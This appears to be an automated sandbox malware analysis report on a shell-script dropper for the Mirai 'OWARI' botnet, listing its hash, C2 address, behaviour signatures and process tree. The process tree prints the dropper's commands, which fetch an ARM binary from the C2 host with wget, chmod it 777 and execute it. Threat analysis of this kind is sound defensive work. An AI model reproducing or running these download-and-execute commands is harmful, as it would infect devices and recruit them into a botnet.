Analysis
- max time kernel
149s - max time network
151s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
13/10/2026, 16:35
General
- Target ohshit.sh
- Size 741B
- Sample261013-t3s3msg13m
- SHA256 e315fc9b73af92acb65c6d972ec760e47234b8afdd8f1a4b8aca66984f2517d4
Score
10/10
Malware Config
Extracted
Family
-
mirai
Botnet
-
OWARI
C2
-
176.65.139.76
Signatures
- Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
- Mirai ARM payload 1 IoCs
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
- Changes its process name 1 IoCs
- Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Executes dropped EXE
-
/bin/unameuname -m2⤵
-
-
/bin/rmrm -rf .update2⤵
-
-
/usr/bin/wgetwget http://176.65.139.76/bins/arm7 -O .update2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 .update2⤵
- File and Directory Permissions Modification
-
-
/tmp/.update./.update1⤵
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
Network
MITRE ATT&CK Enterprise v16
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Downloads
.update